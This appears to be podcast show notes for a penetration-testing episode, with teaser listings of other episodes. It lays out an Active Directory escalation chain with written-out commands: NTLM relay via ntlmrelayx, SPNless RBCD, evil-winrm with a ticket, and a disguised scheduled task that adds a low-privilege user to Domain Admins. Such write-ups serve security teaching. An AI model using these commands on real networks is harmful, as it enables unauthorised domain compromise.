7MS #691: Tales of Pentest Pwnage – Part 75

7MS #691: Tales of Pentest Pwnage – Part 75

Holy schnikes, today might be my favorite tale of pentest pwnage ever. Do I say that almost every episode? yes. Do I mean it? Yes. Here are all the commands/links to supplement today's episode:

  • Got an SA account to a SQL server through Snaffler-ing
  • With that SA account, I learned how to coerce Web auth from within a SQL shell – read more about that here
  • I relayed that Web auth with ntlmrelayx -smb2support -t ldap://dc --delegate-access --escalate-user lowpriv
  • I didn't have a machine account under my control, so I did SPNless RBCD on my lowpriv account – read more about that here
  • Using that technique, I requested a host service ticket for the SQL box, then used evil-winrm to remote in using the ticket
  • From there I checked out who had interactive logons: Get-Process -IncludeUserName explorer | Select-Object UserName
  • Then I queued up a fake task to elevate me to DA: schtasks /create /tn "TotallyFineTask" /tr 'net group "Domain Admins" lowpriv /add /domain' /sc once /st 12:00 /ru "DOMAIN\a-domain-admin" /it /f
  • …and ran it: schtasks /run /tn "TotallyFineTask"

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7MS #730: Baby's First Project Swarm

7MS #730: Baby's First Project Swarm

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7MS #729: Pwning Dracarys

7MS #729: Pwning Dracarys

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7MS #728: Securing Your Family During and After a Disaster – Part 8

7MS #728: Securing Your Family During and After a Disaster – Part 8

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7MS #727: Securing Your Mental Health – Part 7

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7MS #726: Baby's First Hermes

7MS #726: Baby's First Hermes

Hello friends! I've been on a bit of an AI agent journey lately, and today I'm sharing my experience ditching OpenClaw and going all-in on Hermes — a self-hosted AI agent built by Nous Research. A Net...

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7MS #725: Building a Bulletproof Backup Solution

7MS #725: Building a Bulletproof Backup Solution

Hey friends! Backups are not as cool as pentesting, but boy do they matter when things go sideways. This week I'm sharing how a Proxmox backup disk space meltdown led me to a completely overhauled — a...

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7MS #724: Tales of Pentest Pwnage - Part 85

7MS #724: Tales of Pentest Pwnage - Part 85

Hey friends! Today we're going deep on external network pentesting — something I realize we've barely touched in however many episodes we've done. I'm currently in a long stretch of back-to-back exter...

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7MS #723: CARTP - Cloud Red Team Tactics for Attacking and Defending Azure - Part 1

7MS #723: CARTP - Cloud Red Team Tactics for Attacking and Defending Azure - Part 1

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